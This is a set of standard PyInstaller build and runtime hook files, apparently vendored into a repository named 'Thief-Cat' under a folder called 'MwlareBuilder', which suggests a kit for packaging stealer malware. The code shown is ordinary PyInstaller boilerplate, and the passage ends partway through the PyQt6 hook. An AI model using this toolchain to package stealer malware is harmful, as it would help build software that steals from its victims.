import os

from PyInstaller import PACKAGEPATH


def pre_find_module_path(api):
    module_dir = os.path.join(PACKAGEPATH, 'fake-modules')
    api.search_dirs = [module_dir]

ThiefCat_assets/MwlareBuilder/hooks/pre_find_module_path/hook-_pyi_rth_utils.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller import compat
from PyInstaller.utils import hooks as hookutils


def pre_safe_import_module(api):
    # `distutils` was removed from from stdlib in python 3.12; if it is available, it is provided by `setuptools`.
    # Therefore, we need to mark it as a run-time package - this ensures that even though modulegraph cannot find the
    # module, it will call the standard hook nevertheless, and the standard hook will trigger the collection of
    # `setuptools`, which in turn will make `distutils` available at the run-time.
    #
    # Unfortunately, making the package a run-time package also means that we need to mark all its submodules and
    # subpackages as run-time ones as well...
    if compat.is_py312:
        distutils_submodules = hookutils.collect_submodules('setuptools._distutils')

        # Known package names - so we can avoid calling hooksutils.is_package() for every entry...
        PACKAGES = {'distutils', 'distutils.command'}

        for module_name in distutils_submodules:
            mapped_name = module_name.replace('setuptools._distutils', 'distutils')
            if mapped_name in PACKAGES:
                api.add_runtime_package(mapped_name)
            else:
                api.add_runtime_module(mapped_name)

ThiefCat_assets/MwlareBuilder/hooks/pre_safe_import_module/hook-distutils.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    tcldir = os.path.join(sys._MEIPASS, 'tcl')
    tkdir = os.path.join(sys._MEIPASS, 'tk')

    # Notify "tkinter" of data directories. On macOS, we do not collect data directories if system Tcl/Tk framework is
    # used. On other OSes, we always collect them, so their absence is considered an error.
    is_darwin = sys.platform == 'darwin'

    if os.path.isdir(tcldir):
        os.environ["TCL_LIBRARY"] = tcldir
    elif not is_darwin:
        raise FileNotFoundError('Tcl data directory "%s" not found.' % tcldir)

    if os.path.isdir(tkdir):
        os.environ["TK_LIBRARY"] = tkdir
    elif not is_darwin:
        raise FileNotFoundError('Tk data directory "%s" not found.' % tkdir)


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth__tkinter.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# This Django rthook was tested with Django 1.8.3.


def _pyi_rthook():
    import django.utils.autoreload

    _old_restart_with_reloader = django.utils.autoreload.restart_with_reloader

    def _restart_with_reloader(*args):
        import sys
        a0 = sys.argv.pop(0)
        try:
            return _old_restart_with_reloader(*args)
        finally:
            sys.argv.insert(0, a0)

    # Override restart_with_reloader() function, otherwise the app might complain that some commands do not exist;
    # e.g., runserver.
    django.utils.autoreload.restart_with_reloader = _restart_with_reloader


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_django.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import atexit
    import os
    import sys
    import tempfile

    pixbuf_file = os.path.join(sys._MEIPASS, 'lib', 'gdk-pixbuf', 'loaders.cache')

    # If we are not on Windows, we need to rewrite the cache -> we rewrite on Mac OS to support --onefile mode
    if os.path.exists(pixbuf_file) and sys.platform != 'win32':
        with open(pixbuf_file, 'rb') as fp:
            contents = fp.read()

        # Create a temporary file with the cache and cleverly replace the prefix we injected with the actual path.
        fd, pixbuf_file = tempfile.mkstemp()
        with os.fdopen(fd, 'wb') as fp:
            libpath = os.path.join(sys._MEIPASS, 'lib').encode('utf-8')
            fp.write(contents.replace(b'@executable_path/lib', libpath))

        try:
            atexit.register(os.unlink, pixbuf_file)
        except OSError:
            pass

    os.environ['GDK_PIXBUF_MODULE_FILE'] = pixbuf_file


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_gdkpixbuf.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    os.environ['GI_TYPELIB_PATH'] = os.path.join(sys._MEIPASS, 'gi_typelibs')


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_gi.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    os.environ['GIO_MODULE_DIR'] = os.path.join(sys._MEIPASS, 'gio_modules')


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_gio.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    # Prepend the frozen application's data dir to XDG_DATA_DIRS. We need to avoid overwriting the existing paths in
    # order to allow the frozen application to run system-installed applications (for example, launch a web browser via
    # the webbrowser module on Linux). Should the user desire complete isolation of the frozen application from the
    # system, they need to clean up XDG_DATA_DIRS at the start of their program (i.e., remove all entries but first).
    pyi_data_dir = os.path.join(sys._MEIPASS, 'share')

    xdg_data_dirs = os.environ.get('XDG_DATA_DIRS', None)
    if xdg_data_dirs:
        if pyi_data_dir not in xdg_data_dirs:
            xdg_data_dirs = pyi_data_dir + os.pathsep + xdg_data_dirs
    else:
        xdg_data_dirs = pyi_data_dir
    os.environ['XDG_DATA_DIRS'] = xdg_data_dirs

    # Cleanup aux variables
    del xdg_data_dirs
    del pyi_data_dir


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_glib.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    # Without this environment variable set to 'no' importing 'gst' causes 100% CPU load. (Tested on Mac OS.)
    os.environ['GST_REGISTRY_FORK'] = 'no'

    gst_plugin_paths = [sys._MEIPASS, os.path.join(sys._MEIPASS, 'gst-plugins')]
    os.environ['GST_PLUGIN_PATH'] = os.pathsep.join(gst_plugin_paths)

    # Prevent permission issues on Windows
    os.environ['GST_REGISTRY'] = os.path.join(sys._MEIPASS, 'registry.bin')

    # Only use packaged plugins to prevent GStreamer from crashing when it finds plugins from another version which are
    # installed system wide.
    os.environ['GST_PLUGIN_SYSTEM_PATH'] = ''


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_gstreamer.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    os.environ['GTK_DATA_PREFIX'] = sys._MEIPASS
    os.environ['GTK_EXE_PREFIX'] = sys._MEIPASS
    os.environ['GTK_PATH'] = sys._MEIPASS

    # Include these here, as GTK will import pango automatically.
    os.environ['PANGO_LIBDIR'] = sys._MEIPASS
    os.environ['PANGO_SYSCONFDIR'] = os.path.join(sys._MEIPASS, 'etc')  # TODO?


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_gtk.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import inspect
    import os
    import sys

    _orig_inspect_getsourcefile = inspect.getsourcefile

    # Provide custom implementation of inspect.getsourcefile() for frozen applications that properly resolves relative
    # filenames obtained from object (e.g., inspect stack-frames). See #5963.
    def _pyi_getsourcefile(object):
        filename = inspect.getfile(object)
        if not os.path.isabs(filename):
            # Check if given filename matches the basename of __main__'s __file__.
            main_file = getattr(sys.modules['__main__'], '__file__', None)
            if main_file and filename == os.path.basename(main_file):
                return main_file

            # If filename ends with .py suffix and does not correspond to frozen entry-point script, convert it to
            # corresponding .pyc in sys._MEIPASS.
            if filename.endswith('.py'):
                filename = os.path.normpath(os.path.join(sys._MEIPASS, filename + 'c'))
                # Ensure the relative path did not try to jump out of sys._MEIPASS, just in case...
                if filename.startswith(sys._MEIPASS):
                    return filename
        elif filename.startswith(sys._MEIPASS) and filename.endswith('.pyc'):
            # If filename is already PyInstaller-compatible, prevent any further processing (i.e., with original
            # implementation).
            return filename
        # Use original implementation as a fallback.
        return _orig_inspect_getsourcefile(object)

    inspect.getsourcefile = _pyi_getsourcefile


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_inspect.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2015-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    root = os.path.join(sys._MEIPASS, 'kivy_install')

    os.environ['KIVY_DATA_DIR'] = os.path.join(root, 'data')
    os.environ['KIVY_MODULES_DIR'] = os.path.join(root, 'modules')


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_kivy.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# matplotlib will create $HOME/.matplotlib folder in user's home directory. In this directory there is fontList.cache
# file which lists paths to matplotlib fonts.
#
# When you run your onefile exe for the first time it's extracted to for example "_MEIxxxxx" temp directory and
# fontList.cache file is created with fonts paths pointing to this directory.
#
# Second time you run your exe new directory is created "_MEIyyyyy" but fontList.cache file still points to previous
# directory which was deleted. And then you will get error like:
#
#     RuntimeError: Could not open facefile
#
# We need to force matplotlib to recreate config directory every time you run your app.


def _pyi_rthook():
    import atexit
    import os
    import shutil

    import _pyi_rth_utils  # PyInstaller's run-time hook utilities module

    # Isolate matplotlib's config dir into temporary directory.
    # Use our replacement for `tempfile.mkdtemp` function that properly restricts access to directory on all platforms.
    configdir = _pyi_rth_utils.secure_mkdtemp()
    os.environ['MPLCONFIGDIR'] = configdir

    try:
        # Remove temp directory at application exit and ignore any errors.
        atexit.register(shutil.rmtree, configdir, ignore_errors=True)
    except OSError:
        pass


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_mplconfig.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2017-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------


def _pyi_rthook():
    import os
    import sys

    import threading
    import multiprocessing
    import multiprocessing.spawn

    from subprocess import _args_from_interpreter_flags

    # Prevent `spawn` from trying to read `__main__` in from the main script
    multiprocessing.process.ORIGINAL_DIR = None

    def _freeze_support():
        # We want to catch the two processes that are spawned by the multiprocessing code:
        # - the semaphore tracker, which cleans up named semaphores in the `spawn` multiprocessing mode
        # - the fork server, which keeps track of worker processes in the `forkserver` mode.
        # Both of these processes are started by spawning a new copy of the running executable, passing it the flags
        # from `_args_from_interpreter_flags` and then "-c" and an import statement.
        # Look for those flags and the import statement, then `exec()` the code ourselves.

        if (
            len(sys.argv) >= 2 and sys.argv[-2] == '-c' and sys.argv[-1].startswith(
                ('from multiprocessing.resource_tracker import main', 'from multiprocessing.forkserver import main')
            ) and set(sys.argv[1:-2]) == set(_args_from_interpreter_flags())
        ):
            exec(sys.argv[-1])
            sys.exit()

        if multiprocessing.spawn.is_forking(sys.argv):
            kwds = {}
            for arg in sys.argv[2:]:
                name, value = arg.split('=')
                if value == 'None':
                    kwds[name] = None
                else:
                    kwds[name] = int(value)
            multiprocessing.spawn.spawn_main(**kwds)
            sys.exit()

    multiprocessing.freeze_support = multiprocessing.spawn.freeze_support = _freeze_support

    # Bootloader clears the `_MEIPASS2` environment variable, which allows a PyInstaller-frozen executable to run a
    # different PyInstaller-frozen executable. However, in the case of `multiprocessing`, we are actually trying
    # to run the same executable, so we need to restore `_MEIPASS2` to prevent onefile executable from unpacking
    # again in a different directory.
    #
    # This is needed for `spawn` start method (default on Windows and macOS) and also with `forkserver` start method
    # (available on Linux and macOS). It is not needed for `fork` start method (default on Linux and other Unix OSes),
    # because fork copies the parent process instead of starting it from scratch.

    # Mix-in to re-set _MEIPASS2 from sys._MEIPASS.
    class FrozenSupportMixIn:
        _lock = threading.Lock()

        def __init__(self, *args, **kw):
            # The whole code block needs be executed under a lock to prevent race conditions between `os.putenv` and
            # `os.unsetenv` calls when processes are spawned concurrently from multiple threads. See #7410.
            with self._lock:
                # We have to set original _MEIPASS2 value from sys._MEIPASS to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)  # @UndefinedVariable
                try:
                    super().__init__(*args, **kw)
                finally:
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not available. In those cases we cannot delete the
                    # variable but only set it to the empty string. The bootloader can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    if sys.platform.startswith('win'):
        # Windows; patch `Popen` for `spawn` start method
        from multiprocessing import popen_spawn_win32

        class _SpawnPopen(FrozenSupportMixIn, popen_spawn_win32.Popen):
            pass

        popen_spawn_win32.Popen = _SpawnPopen
    else:
        # UNIX OSes; patch `Popen` for `spawn` and `forkserver` start methods
        from multiprocessing import popen_spawn_posix
        from multiprocessing import popen_forkserver

        class _SpawnPopen(FrozenSupportMixIn, popen_spawn_posix.Popen):
            pass

        class _ForkserverPopen(FrozenSupportMixIn, popen_forkserver.Popen):
            pass

        popen_spawn_posix.Popen = _SpawnPopen
        popen_forkserver.Popen = _ForkserverPopen


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_multiprocessing.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# To make pkg_resources work with frozen modules we need to set the 'Provider' class for PyiFrozenImporter. This class
# decides where to look for resources and other stuff. 'pkg_resources.NullProvider' is dedicated to PEP302 import hooks
# like PyiFrozenImporter is. It uses method __loader__.get_data() in methods pkg_resources.resource_string() and
# pkg_resources.resource_stream()
#
# We provide PyiFrozenProvider, which subclasses the NullProvider and implements _has(), _isdir(), and _listdir()
# methods, which are needed for pkg_resources.resource_exists(), resource_isdir(), and resource_listdir() to work. We
# cannot use the DefaultProvider, because it provides filesystem-only implementations (and overrides _get() with a
# filesystem-only one), whereas our provider needs to also support embedded resources.
#
# The PyiFrozenProvider allows querying/listing both PYZ-embedded and on-filesystem resources in a frozen package. The
# results are typically combined for both types of resources (e.g., when listing a directory or checking whether a
# resource exists). When the order of precedence matters, the PYZ-embedded resources take precedence over the
# on-filesystem ones, to keep the behavior consistent with the actual file content retrieval via _get() method (which in
# turn uses PyiFrozenImporter's get_data() method). For example, when checking whether a resource is a directory via
# _isdir(), a PYZ-embedded file will take precedence over a potential on-filesystem directory. Also, in contrast to
# unfrozen packages, the frozen ones do not contain source .py files, which are therefore absent from content listings.


def _pyi_rthook():
    import os
    import pathlib
    import sys

    import pkg_resources
    from pyimod02_importers import PyiFrozenImporter

    SYS_PREFIX = pathlib.PurePath(sys._MEIPASS)

    class _TocFilesystem:
        """
        A prefix tree implementation for embedded filesystem reconstruction.
        """
        def __init__(self, toc_files, toc_dirs=None):
            toc_dirs = toc_dirs or []
            # Reconstruct the filesystem hierarchy by building a prefix tree from the given file and directory paths.
            self._tree = dict()

            # Data files
            for path in toc_files:
                path = pathlib.PurePath(path)
                current = self._tree
                for component in path.parts[:-1]:
                    current = current.setdefault(component, {})
                current[path.parts[-1]] = ''

            # Extra directories
            for path in toc_dirs:
                path = pathlib.PurePath(path)
                current = self._tree
                for component in path.parts:
                    current = current.setdefault(component, {})

        def _get_tree_node(self, path):
            path = pathlib.PurePath(path)
            current = self._tree
            for component in path.parts:
                if component not in current:
                    return None
                current = current[component]
            return current

        def path_exists(self, path):
            node = self._get_tree_node(path)
            return node is not None  # File or directory

        def path_isdir(self, path):
            node = self._get_tree_node(path)
            if node is None:
                return False  # Non-existent
            if isinstance(node, str):
                return False  # File
            return True

        def path_listdir(self, path):
            node = self._get_tree_node(path)
            if not isinstance(node, dict):
                return []  # Non-existent or file
            return list(node.keys())

    # Cache for reconstructed embedded trees
    _toc_tree_cache = {}

    class PyiFrozenProvider(pkg_resources.NullProvider):
        """
        Custom pkg_resources provider for PyiFrozenImporter.
        """
        def __init__(self, module):
            super().__init__(module)

            # Get top-level path; if "module" corresponds to a package, we need the path to the package itself.
            # If "module" is a submodule in a package, we need the path to the parent package.
            self._pkg_path = pathlib.PurePath(module.__file__).parent

            # Defer initialization of PYZ-embedded resources tree to the first access.
            self._embedded_tree = None

        def _init_embedded_tree(self, rel_pkg_path, pkg_name):
            # Collect relevant entries from TOC. We are interested in either files that are located in the
            # package/module's directory (data files) or in packages that are prefixed with package/module's name
            # (to reconstruct subpackage directories).
            data_files = []
            package_dirs = []
            for entry in self.loader.toc:
                entry_path = pathlib.PurePath(entry)
                if rel_pkg_path in entry_path.parents:
                    # Data file path
                    data_files.append(entry_path)
                elif entry.startswith(pkg_name) and self.loader.is_package(entry):
                    # Package or subpackage; convert the name to directory path
                    package_dir = pathlib.PurePath(*entry.split('.'))
                    package_dirs.append(package_dir)

            # Reconstruct the filesystem
            return _TocFilesystem(data_files, package_dirs)

        @property
        def embedded_tree(self):
            if self._embedded_tree is None:
                # Construct a path relative to _MEIPASS directory for searching the TOC.
                rel_pkg_path = self._pkg_path.relative_to(SYS_PREFIX)

                # Reconstruct package name prefix (use package path to obtain correct prefix in case of a module).
                pkg_name = '.'.join(rel_pkg_path.parts)

                # Initialize and cache the tree, if necessary.
                if pkg_name not in _toc_tree_cache:
                    _toc_tree_cache[pkg_name] = self._init_embedded_tree(rel_pkg_path, pkg_name)
                self._embedded_tree = _toc_tree_cache[pkg_name]
            return self._embedded_tree

        def _normalize_path(self, path):
            # Avoid using Path.resolve(), because it resolves symlinks. This is undesirable, because the pure path in
            # self._pkg_path does not have symlinks resolved, so comparison between the two would be faulty. So use
            # os.path.abspath() instead to normalize the path.
            return pathlib.Path(os.path.abspath(path))

        def _is_relative_to_package(self, path):
            return path == self._pkg_path or self._pkg_path in path.parents

        def _has(self, path):
            # Prevent access outside the package.
            path = self._normalize_path(path)
            if not self._is_relative_to_package(path):
                return False

            # Check the filesystem first to avoid unnecessarily computing the relative path...
            if path.exists():
                return True
            rel_path = path.relative_to(SYS_PREFIX)
            return self.embedded_tree.path_exists(rel_path)

        def _isdir(self, path):
            # Prevent access outside the package.
            path = self._normalize_path(path)
            if not self._is_relative_to_package(path):
                return False

            # Embedded resources have precedence over filesystem...
            rel_path = path.relative_to(SYS_PREFIX)
            node = self.embedded_tree._get_tree_node(rel_path)
            if node is None:
                return path.is_dir()  # No match found; try the filesystem.
            else:
                # str = file, dict = directory
                return not isinstance(node, str)

        def _listdir(self, path):
            # Prevent access outside the package.
            path = self._normalize_path(path)
            if not self._is_relative_to_package(path):
                return []

            # Relative path for searching embedded resources.
            rel_path = path.relative_to(SYS_PREFIX)
            # List content from embedded filesystem...
            content = self.embedded_tree.path_listdir(rel_path)
            # ... as well as the actual one.
            if path.is_dir():
                # Use os.listdir() to avoid having to convert Path objects to strings... Also make sure to de-duplicate
                # the results.
                path = str(path)  # not is_py36
                content = list(set(content + os.listdir(path)))
            return content

    pkg_resources.register_loader_type(PyiFrozenImporter, PyiFrozenProvider)


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pkgres.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------
#
# This rthook overrides pkgutil.iter_modules with custom implementation that uses PyInstaller's PyiFrozenImporter to
# list sub-modules embedded in the PYZ archive. The non-embedded modules (binary extensions, or .pyc modules in
# noarchive build) are handled by original pkgutil iter_modules implementation (and consequently, python's FileFinder).
#
# The preferred way of adding support for iter_modules would be adding non-standard iter_modules() method to
# PyiFrozenImporter itself. However, that seems to work only for path entry finders (for use with sys.path_hooks), while
# PyInstaller's PyiFrozenImporter is registered as meta path finders (for use with sys.meta_path). Turning
# PyiFrozenImporter into path entry finder, would seemingly require the latter to support on-filesystem resources
# (e.g., extension modules) in addition to PYZ-embedded ones.
#
# Therefore, we instead opt for overriding pkgutil.iter_modules with custom implementation that augments the output of
# original implementation with contents of PYZ archive from PyiFrozenImporter's TOC.


def _pyi_rthook():
    import os
    import pkgutil
    import sys

    from pyimod02_importers import PyiFrozenImporter

    _orig_pkgutil_iter_modules = pkgutil.iter_modules

    def _pyi_pkgutil_iter_modules(path=None, prefix=''):
        # Use original implementation to discover on-filesystem modules (binary extensions in regular builds, or both
        # binary extensions and compiled pyc modules in noarchive debug builds).
        yield from _orig_pkgutil_iter_modules(path, prefix)

        # Find the instance of PyInstaller's PyiFrozenImporter.
        for importer in pkgutil.iter_importers():
            if isinstance(importer, PyiFrozenImporter):
                break
        else:
            return

        if path is None:
            # Search for all top-level packages/modules. These will have no dots in their entry names.
            for entry in importer.toc:
                if "." in entry:
                    continue
                is_pkg = importer.is_package(entry)
                yield pkgutil.ModuleInfo(importer, prefix + entry, is_pkg)
        else:
            # Use os.path.realpath() to fully resolve any symbolic links in sys._MEIPASS, in order to avoid path
            # mis-matches when the given search paths also contain symbolic links and are already fully resolved.
            # See #6537 for an example of such a problem with onefile build on macOS, where the temporary directory
            # is placed under /var, which is actually a symbolic link to /private/var.
            MEIPASS = os.path.realpath(sys._MEIPASS)

            for pkg_path in path:
                # Fully resolve the given path, in case it contains symbolic links.
                pkg_path = os.path.realpath(pkg_path)
                # Ensure it ends with os.path.sep (so we can directly filter out the package itself).
                if not pkg_path.endswith(os.path.sep):
                    pkg_path += os.path.sep

                for entry in importer.toc:
                    # Get the path to the module, and resolve symbolic links. This implicitly solves the problem with
                    # macOS .app bundles and packages that contain data files, where package directory is fully
                    # collected into Contents/Resources, and symbolic link to directory is created in sys._MEIPASS
                    # (Contents/Frameworks). See #7884.
                    module_path = os.path.realpath(os.path.join(MEIPASS, entry.replace(".", os.path.sep)))

                    # If the module is not in the requested path, skip it.
                    if not module_path.startswith(pkg_path):
                        continue

                    name = module_path[len(pkg_path):]

                    if os.path.sep in name:
                        # Not a direct child
                        continue
                    is_pkg = importer.is_package(entry)
                    yield pkgutil.ModuleInfo(importer, prefix + name, is_pkg)

    pkgutil.iter_modules = _pyi_pkgutil_iter_modules


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pkgutil.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2014-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# The path to Qt's components may not default to the wheel layout for self-compiled PyQt5 installations. Mandate the
# wheel layout. See ``utils/hooks/qt.py`` for more details.


def _pyi_rthook():
    import os
    import sys

    # Try PyQt5 5.15.4-style path first...
    pyqt_path = os.path.join(sys._MEIPASS, 'PyQt5', 'Qt5')
    if not os.path.isdir(pyqt_path):
        # ... and fall back to the older version
        pyqt_path = os.path.join(sys._MEIPASS, 'PyQt5', 'Qt')

    os.environ['QT_PLUGIN_PATH'] = os.path.join(pyqt_path, 'plugins')

    if sys.platform == 'darwin' and sys._MEIPASS.endswith("Contents/Frameworks"):
        # Special handling for macOS .app bundles. To satisfy codesign requirements, we are forced to split `qml`
        # directory into two parts; one that keeps only binaries (rooted in `Contents/Frameworks`) and one that keeps
        # only data files (rooted in `Contents/Resources), with files from one directory tree being symlinked to the
        # other to maintain illusion of a single mixed-content directory. As Qt seems to compute the identifier of its
        # QML components based on location of the `qmldir` file w.r.t. the registered QML import paths, we need to
        # register both paths, because the `qmldir` file for a component could be reached via either directory tree.
        pyqt_path_res = os.path.normpath(
            os.path.join(sys._MEIPASS, '..', 'Resources', os.path.relpath(pyqt_path, sys._MEIPASS))
        )
        os.environ['QML2_IMPORT_PATH'] = os.pathsep.join([
            os.path.join(pyqt_path_res, 'qml'),
            os.path.join(pyqt_path, 'qml'),
        ])
    else:
        os.environ['QML2_IMPORT_PATH'] = os.path.join(pyqt_path, 'qml')

    # This is required starting in PyQt5 5.12.3. See discussion in #4293.
    if sys.platform.startswith('win') and 'PATH' in os.environ:
        os.environ['PATH'] = sys._MEIPASS + os.pathsep + os.environ['PATH']


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pyqt5.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# The path to Qt's components may not default to the wheel layout for self-compiled PyQt6 installations. Mandate the
# wheel layout. See ``utils/hooks/qt.py`` for more details.


def _pyi_rthook():
    import os
    import sys

    # Try PyQt6 6.0.3-style path first...
    pyqt_path = os.path.join(sys._MEIPASS, 'PyQt6', 'Qt6')
    if not os.path.isdir(pyqt_path):
        # ... and fall back to the older version.
        pyqt_path = os.path.join(sys._MEIPASS, 'PyQt6', 'Qt')

    os.environ['QT_PLUGIN_PATH'] = os.path.join(pyqt_path, 'plugins')

    if sys.platform == 'darwin' and sys._MEIPASS.endswith("Contents/Frameworks"):
        # Special handling for macOS .app bundles. To satisfy codesign requirements, we are forced to split `qml`
        # directory into two parts; one that keeps only binaries (rooted in `Contents/Frameworks`) and one that keeps
        # only data files (rooted in `Contents/Resources), with files from one directory tree being symlinked to the
        # other to maintain illusion of a single mixed-content directory. As Qt seems to compute the identifier of its
        # QML components based on location of the `qmldir` file w.r.t. the registered QML import paths, we need to
        # register both paths, because the `qmldir` file for a component could be reached via either directory tree.
        pyqt_path_res = os.path.normpath(
            os.path.join(sys._MEIPASS, '..', 'Resources', os.path.relpath(pyqt_path, sys._MEIPASS))
        )
        os.environ['QML2_IMPORT_PATH'] = os.pathsep.join([
            os.path.join(pyqt_path_res, 'qml'),
            os.path.join(pyqt_path, 'qml'),
        ])
    else:
        os.environ['QML2_IMPORT_PATH'] = os.path.join(pyqt_path, 'qml')

    # Modelled after similar PATH modification in PyQt5 rthook. With PyQt6, this modification seems necessary for SSL
    # DLLs to be found in onefile builds.
